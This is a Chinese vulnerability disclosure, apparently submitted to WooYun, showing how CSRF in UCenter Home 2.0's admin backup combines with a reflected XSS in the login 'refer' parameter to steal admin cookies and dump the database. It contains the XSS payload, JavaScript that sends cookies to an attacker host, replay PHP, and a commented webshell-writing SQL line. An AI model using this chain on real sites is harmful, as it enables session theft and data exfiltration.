### 简要描述: ucenter_home_2.0_sc_utf8 xss拖库 刚才提交了一个纯csrf的漏洞,大家说是缺少备份路径信息,最后我给了猜想和结论,那么到这里我就利用这个xss+csrf来拖数据库 ### 详细说明: 先黏贴上上次的漏洞概要(只是为了证实存在csrf): --------------------------------------------------------------------------- 登陆管理员后台,经过所有的测试,发现在备份数据库这里存在对referer不做校验,如图所示: [<img src="https://images.seebug.org/upload/201406/18135127c91ab8bf6197940eb8d1552182d39205.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/18135127c91ab8bf6197940eb8d1552182d39205.png) 然后我们在分析如下: [<img src="https://images.seebug.org/upload/201406/181352055692813ac7087dfb39cbb35714783430.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/181352055692813ac7087dfb39cbb35714783430.png) 接下来我们就要证明的是,此请求是否与referer有关系,证明如下: 第一,我们抓取原始包,如图: [<img src="https://images.seebug.org/upload/201406/1813561403ba8c8a7d92399debe6ba602568ed00.png" alt="3.png" width="600"...
### 简要描述: ucenter_home_2.0_sc_utf8 xss拖库 刚才提交了一个纯csrf的漏洞,大家说是缺少备份路径信息,最后我给了猜想和结论,那么到这里我就利用这个xss+csrf来拖数据库 ### 详细说明: 先黏贴上上次的漏洞概要(只是为了证实存在csrf): --------------------------------------------------------------------------- 登陆管理员后台,经过所有的测试,发现在备份数据库这里存在对referer不做校验,如图所示: [<img src="https://images.seebug.org/upload/201406/18135127c91ab8bf6197940eb8d1552182d39205.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/18135127c91ab8bf6197940eb8d1552182d39205.png) 然后我们在分析如下: [<img src="https://images.seebug.org/upload/201406/181352055692813ac7087dfb39cbb35714783430.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/181352055692813ac7087dfb39cbb35714783430.png) 接下来我们就要证明的是,此请求是否与referer有关系,证明如下: 第一,我们抓取原始包,如图: [<img src="https://images.seebug.org/upload/201406/1813561403ba8c8a7d92399debe6ba602568ed00.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/1813561403ba8c8a7d92399debe6ba602568ed00.png) 第二,我们删除referer,如图: [<img src="https://images.seebug.org/upload/201406/1813563897116c0e35ed49c699f80bfb22df6bd8.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/1813563897116c0e35ed49c699f80bfb22df6bd8.png) 第三,我们篡改referer,如图: [<img src="https://images.seebug.org/upload/201406/1813565859a4e7b1b597ac11557513bc23cb7b6e.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/1813565859a4e7b1b597ac11557513bc23cb7b6e.png) 发现三种请求结果都是正确的,由此我们判断这里存在csrf,但是接下来要怎么利用呢 我们然后去普通用户的页面寻找机会,发现普通的界面有一个链接分享,如图所示: 第一步,我们构造一个html页面,里面的就是要发送请求的表单,然后分享此链接,如图所示: [<img src="https://images.seebug.org/upload/201406/181401129c602712112d655dcc03b544608efdd2.png" alt="6.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/181401129c602712112d655dcc03b544608efdd2.png) 第二步,我们试着在管理员页面查找一下,该链接怎么样,有时候我们会美化此url,并且做一些诱人的操作,那么管理员就会看到,并且很大机会点击,在这里我们可以发送好多这种请求,让此链接置顶,只要他手贱,就能搞定,看看管理员的页面,如图: [<img src="https://images.seebug.org/upload/201406/18140441729f5aa577f719b84dc4999248224b81.png" alt="7.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/18140441729f5aa577f719b84dc4999248224b81.png) 第三步,我们以管理员的身份点击一下此链接,漂亮的执行了,如图所示: [<img src="https://images.seebug.org/upload/201406/18140553051c9fe53ee8302d19bcd7c9296aa20e.png" alt="8.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/18140553051c9fe53ee8302d19bcd7c9296aa20e.png) 第四部,我们访问刚才看到的那个地址,这里我们以非管理员,或者非用户的身份访问,如图所示: [<img src="https://images.seebug.org/upload/201406/1814072298dc4e844eb1fcf1fc4553643c9c9348.png" alt="9.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/1814072298dc4e844eb1fcf1fc4553643c9c9348.png) 到此为止我们的测试算是完毕了,那么我们进一步分析一下: 分析一,如果我们在我们的服务器端,写一个监听此文件的操作,在第一时间内读取sql语句,就是管理员发现了,他也来不及删除 分析二,我们在如果我们要有一个反射性xss,或者一个存储型xss,那么我们可能就不用这么麻烦了,可以悄无声息的执行完毕我们所有的操作 哈哈,一不小心之间,我发现了他的一个反射性xss: 在我们注册的时候提交的一个参数refer存在问题,整个发送过程如下: [<img src="https://images.seebug.org/upload/201406/181418581c65c9e85ddcec25eae5a7a107de1e17.png" alt="10.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/181418581c65c9e85ddcec25eae5a7a107de1e17.png) 这样一来我们可以同样构造分享页面,把这个反射性变成一个持久性的,然后当管理员点击之后,我们还可以操作js还原线程,也可以把获取的成功消息和内容主动发送到我们的远端服务器上面,这样岂不是更美 ok!!!!!!! ------------------------------------------------------------------------------ 下来我们来进一步渗透(采用反射型xss,反弹cookie到客户端,然后发包拿库) 第一步,我们申请一个正确的用户名密码,让服务器端验证通过,然后我们重放此请求 确认存在xss的图,如下: [<img src="https://images.seebug.org/upload/201406/1815402711fddbc415c65fe4b8b8adcc154de72d.png" alt="11.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/1815402711fddbc415c65fe4b8b8adcc154de72d.png) post_data: username=test&password=111111&refer=space.php%253Fdo%253Dhome%22%20onmouseover%3d""><script src=http://xxx.js></script>&loginsubmit=%E7%99%BB%E5%BD%95&formhash=39dc0370 发送请求的url: http://10.65.10.199:8089/UCenter_Home_2.0_SC_UTF8https://images.seebug.org/upload/do.php?ac=2de6b2eee024131aae896b3060b02b89&&ref 这里我们写一下请求的js内容为: ``` function ajax(){ var request = false; if(window.XMLHttpRequest) { request = new XMLHttpRequest(); } else if(window.ActiveXObject) { var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; for(var i=0; i<versions.length; i++) { try { request = new ActiveXObject(versions[i]); } catch(e) {} } } return request; } var _x = ajax(); postgo(); function postgo() { var src="http://www.xxx.get_c.php?cookie="+document.cookie; xhr_act("GET",src); } function xhr_act(_m,_s){ _x.open(_m,_s,false); _x.send(_a); return _x.responseText; } ``` 然后我们编写远程服务器端的php代码: ``` <?php function http_post($server,$host,$port,$url,$params,$timeout,$cookie) { $result=""; //创建socket连接 $fp = fsockopen($server,$port,$errno,$errstr,$timeout); if (!$fp) { $result = $errstr."--->".$errno; return $result; } $length = strlen($params); //构造post请求的头 $header = "GET ".$url." HTTP/1.1\r\n"; $header .= "Host:".$host."\r\n"; $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; $header .= "Content-Length: ".$length."\r\n"; $header .= "Cookie: ".$cookie."\r\n"; $header .= "Connection: Close\r\n\r\n"; //添加post的字符串 //$header .= $params."\r\n"; //发送post的数据 fputs($fp,$header); $inheader = 1; while (!feof($fp)) { $line = fgets($fp,1024); //去除请求包的头只显示页面的返回数据 echo $line; if ($inheader && ($line == "\n" || $line == "\r\n")) { $inheader = 0; } if ($inheader == 0) { $result .= $line; } } fclose($fp); return $result; } $cookie=$_GET['cookie']; $server='10.65.10.199'; $host='10.65.10.199:8089'; $path="/ucenter_home_2.0_sc_utf8https://images.seebug.org/upload/admincp.php?ac=backup"; $url="http://".$host.$path; //$params="sql=select+%27%3C%3Fphp+phpinfo()+%3F%3E%27+into+outfile+%27D%3A%2Fwamp%2Fwww%2FECShop_V2.7.3_GBK_release1106%2Fupload%2Fdata%2Ffeedbackimg%2Ftest.php%27&act=query"; $content = http_post($server,$host,8089,$url,$params,10,$cookie); $pattern = "/服务器备份文件名/" ?> ``` 然后我们看看执行后台的截图,并且完全能看到所有的,路径信息: [<img src="https://images.seebug.org/upload/201406/181605028303ad3adf2ee5aaaf50219b9570853b.png" alt="12.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/181605028303ad3adf2ee5aaaf50219b9570853b.png) [<img src="https://images.seebug.org/upload/201406/18160512ea4e30744ad1c68693fe4516d9b924b3.png" alt="13.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/18160512ea4e30744ad1c68693fe4516d9b924b3.png) 到此为止不用我多说了吧,远端js的怎样加载,让管理员怎么触发,在最上面已经很明确了 乌云大神,刚才漏洞的分析,我底下附上了猜想,还有xss证实,哎!!! 这次不能不给过吧 ### 漏洞证明: